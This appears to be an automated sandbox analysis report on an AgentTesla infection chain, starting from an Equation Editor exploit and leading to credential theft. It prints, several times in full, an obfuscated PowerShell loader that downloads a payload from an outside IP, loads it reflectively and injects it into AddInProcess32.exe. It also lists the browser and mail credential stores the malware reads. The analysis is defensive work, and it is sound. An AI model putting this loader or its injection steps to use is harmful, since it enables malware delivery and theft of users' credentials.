Source: 6.2.powershell.exe.41bb700.2.raw.unpack, Ljq6xD21ACX.cs Reference to suspicious API methods: OZkujShDCVG.OpenProcess(aPNZ30.DuplicateHandle, bInheritHandle: true, (uint)snUp2.ProcessID)
Injects a PE file into a foreign processes
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\controlfiredatinloverforxlammfile.vbs" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "INVOkE-EXpRessIon ( ('oiL'+'li'+'n'+'k = Olshttp'+'://91.92.254.194/imge/new-image'+'_v.jpgOls; oiLwebClient = New-Object'+' System.Net.WebClient; try { oiLdownloadedData = oi'+'LwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oiLnull) { oiLimageText = [Sy'+'stem.T'+'ex'+'t.Encoding]::UTF8.GetString'+'(oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLendIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendIn'+'dex -gt oiLstartIndex) { oiLstartInd'+'ex += oiLstartFlag.Length; oiLbase64Length = oiLendIn'+'dex - oiLstartInd'+'ex; oiLbase64Command = oiLimageText.Substri'+'ng(oiLstartIndex, oiLbase64Lengt'+'h); oiLcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiL'+'loadedAssembly = [System.Reflection.Assembly]::Load(oiLcomm'+'andBytes); oiLtype = oiLloadedAssembly.GetType(OlsRunPE.HomeOls); oiLmethod = oiLtype.GetMethod(OlsVAIOls).Invoke(oiLnull,'+' [object[]] (Olstxt.4446sabbbbbbbewmadam/441.871.64.8'+'91//:ptthOls , Olsdesativad'+'oOls , OlsdesativadoOls , OlsdesativadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scriptblock oiLlink = Olshttp://91.92.254.194/imge/new-image_v.jpgOls; oiLwebClient ='+' New-Object System.Net.WebClient; try { oi'+'LdownloadedData = oiLwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To down'+'load data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oi'+'Lnull) { oiLimageText = [System.T'+'ext.Encoding]::UTF8.GetString('+'oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLen'+'dIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendInde'+'x -gt oiLstartIndex) { oiLstartIndex += '+'oiLstartFlag.Length; oiLbase64Length = oiLendIndex - oiLstartIndex; oiLbase64Command ='+' oiLimageText.Substring(oiLstartIndex'+', oiLbase64Length); oi'+'LcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiLloadedAssembly = [System.Reflection.'+'Assembly]::Load(oiLcommandBytes); oiLtype = '+'oiLloadedAssembly.GetType(Ols'+'RunPE.HomeOl'+'s); oiLmethod = oiLtype.GetMethod(Ols'+'VAIOl'+'s).Invoke(oiLnull, [object[]] (Olstxt.4'+'446sab'+'bbbbbbewmadam/441.871.64.891//:ptthOls , Olsdesativ'+'adoOls , OlsdesativadoOls , Olsdesati'+'vadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scr'+'iptblock oiLlink '+'= Olshttp://91.92.2'+'54.194/imge/new-image_v.jpgOls; oiLwebClient = New-'+'Object System.Net.WebClient; try { oiLdownloadedData '+'= oiLw'+'ebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data '+'from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData'+' -ne oiLnu'+'ll) Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "invoke-expression ( ('oil'+'li'+'n'+'k = olshttp'+'://91.92.254.194/imge/new-image'+'_v.jpgols; oilwebclient = new-object'+' system.net.webclient; try { oildownloadeddata = oi'+'lwebclient.downloaddata(oillink) } catch { write-host olsfailed to download data from oillinkols -foregroundcolor red; exit }; if (oildownloadeddata -ne oilnull) { oilimagetext = [sy'+'stem.t'+'ex'+'t.encoding]::utf8.getstring'+'(oildownloadeddata); oilstartflag = ols<<base64_start>>ols; oilendflag = ols<<base64_end>>ols; oilstartindex = oilimagetext.indexof(oilstartflag); oilendindex = oilimagetext.indexof(oilendflag); if (oilstartindex -ge 0 -and oilendin'+'dex -gt oilstartindex) { oilstartind'+'ex += oilstartflag.length; oilbase64length = oilendin'+'dex - oilstartind'+'ex; oilbase64command = oilimagetext.substri'+'ng(oilstartindex, oilbase64lengt'+'h); oilcommandbytes = [system.convert]::frombase64string(oilbase64command); oil'+'loadedassembly = [system.reflection.assembly]::load(oilcomm'+'andbytes); oiltype = oilloadedassembly.gettype(olsrunpe.homeols); oilmethod = oiltype.getmethod(olsvaiols).invoke(oilnull,'+' [object[]] (olstxt.4446sabbbbbbbewmadam/441.871.64.8'+'91//:ptthols , olsdesativad'+'ools , olsdesativadools , olsdesativadools,olsaddinprocess32ols,olsols)) } }set scriptblock oillink = olshttp://91.92.254.194/imge/new-image_v.jpgols; oilwebclient ='+' new-object system.net.webclient; try { oi'+'ldownloadeddata = oilwebclient.downloaddata(oillink) } catch { write-host olsfailed to down'+'load data from oillinkols -foregroundcolor red; exit }; if (oildownloadeddata -ne oi'+'lnull) { oilimagetext = [system.t'+'ext.encoding]::utf8.getstring('+'oildownloadeddata); oilstartflag = ols<<base64_start>>ols; oilendflag = ols<<base64_end>>ols; oilstartindex = oilimagetext.indexof(oilstartflag); oilen'+'dindex = oilimagetext.indexof(oilendflag); if (oilstartindex -ge 0 -and oilendinde'+'x -gt oilstartindex) { oilstartindex += '+'oilstartflag.length; oilbase64length = oilendindex - oilstartindex; oilbase64command ='+' oilimagetext.substring(oilstartindex'+', oilbase64length); oi'+'lcommandbytes = [system.convert]::frombase64string(oilbase64command); oilloadedassembly = [system.reflection.'+'assembly]::load(oilcommandbytes); oiltype = '+'oilloadedassembly.gettype(ols'+'runpe.homeol'+'s); oilmethod = oiltype.getmethod(ols'+'vaiol'+'s).invoke(oilnull, [object[]] (olstxt.4'+'446sab'+'bbbbbbewmadam/441.871.64.891//:ptthols , olsdesativ'+'adools , olsdesativadools , olsdesati'+'vadools,olsaddinprocess32ols,olsols)) } }set scr'+'iptblock oillink '+'= olshttp://91.92.2'+'54.194/imge/new-image_v.jpgols; oilwebclient = new-'+'object system.net.webclient; try { oildownloadeddata '+'= oilw'+'ebclient.downloaddata(oillink) } catch { write-host olsfailed to download data '+'from oillinkols -foregroundcolor red; exit }; if (oildownloadeddata'+' -ne oilnu'+'ll)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "invoke-expression ( ('oil'+'li'+'n'+'k = olshttp'+'://91.92.254.194/imge/new-image'+'_v.jpgols; oilwebclient = new-object'+' system.net.webclient; try { oildownloadeddata = oi'+'lwebclient.downloaddata(oillink) } catch { write-host olsfailed to download data from oillinkols -foregroundcolor red; exit }; if (oildownloadeddata -ne oilnull) { oilimagetext = [sy'+'stem.t'+'ex'+'t.encoding]::utf8.getstring'+'(oildownloadeddata); oilstartflag = ols<<base64_start>>ols; oilendflag = ols<<base64_end>>ols; oilstartindex = oilimagetext.indexof(oilstartflag); oilendindex = oilimagetext.indexof(oilendflag); if (oilstartindex -ge 0 -and oilendin'+'dex -gt oilstartindex) { oilstartind'+'ex += oilstartflag.length; oilbase64length = oilendin'+'dex - oilstartind'+'ex; oilbase64command = oilimagetext.substri'+'ng(oilstartindex, oilbase64lengt'+'h); oilcommandbytes = [system.convert]::frombase64string(oilbase64command); oil'+'loadedassembly = [system.reflection.assembly]::load(oilcomm'+'andbytes); oiltype = oilloadedassembly.gettype(olsrunpe.homeols); oilmethod = oiltype.getmethod(olsvaiols).invoke(oilnull,'+' [object[]] (olstxt.4446sabbbbbbbewmadam/441.871.64.8'+'91//:ptthols , olsdesativad'+'ools , olsdesativadools , olsdesativadools,olsaddinprocess32ols,olsols)) } }set scriptblock oillink = olshttp://91.92.254.194/imge/new-image_v.jpgols; oilwebclient ='+' new-object system.net.webclient; try { oi'+'ldownloadeddata = oilwebclient.downloaddata(oillink) } catch { write-host olsfailed to down'+'load data from oillinkols -foregroundcolor red; exit }; if (oildownloadeddata -ne oi'+'lnull) { oilimagetext = [system.t'+'ext.encoding]::utf8.getstring('+'oildownloadeddata); oilstartflag = ols<<base64_start>>ols; oilendflag = ols<<base64_end>>ols; oilstartindex = oilimagetext.indexof(oilstartflag); oilen'+'dindex = oilimagetext.indexof(oilendflag); if (oilstartindex -ge 0 -and oilendinde'+'x -gt oilstartindex) { oilstartindex += '+'oilstartflag.length; oilbase64length = oilendindex - oilstartindex; oilbase64command ='+' oilimagetext.substring(oilstartindex'+', oilbase64length); oi'+'lcommandbytes = [system.convert]::frombase64string(oilbase64command); oilloadedassembly = [system.reflection.'+'assembly]::load(oilcommandbytes); oiltype = '+'oilloadedassembly.gettype(ols'+'runpe.homeol'+'s); oilmethod = oiltype.getmethod(ols'+'vaiol'+'s).invoke(oilnull, [object[]] (olstxt.4'+'446sab'+'bbbbbbewmadam/441.871.64.891//:ptthols , olsdesativ'+'adools , olsdesativadools , olsdesati'+'vadools,olsaddinprocess32ols,olsols)) } }set scr'+'iptblock oillink '+'= olshttp://91.92.2'+'54.194/imge/new-image_v.jpgols; oilwebclient = new-'+'object system.net.webclient; try { oildownloadeddata '+'= oilw'+'ebclient.downloaddata(oillink) } catch { write-host olsfailed to download data '+'from oillinkols -foregroundcolor red; exit }; if (oildownloadeddata'+' -ne oilnu'+'ll) Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected AgentTesla
Source: Yara match File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.41bb700.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.41bb700.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.479098901.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.616770593.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.518863919.0000000003D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.518863919.000000000411B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 1904, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 1444, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 3436, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
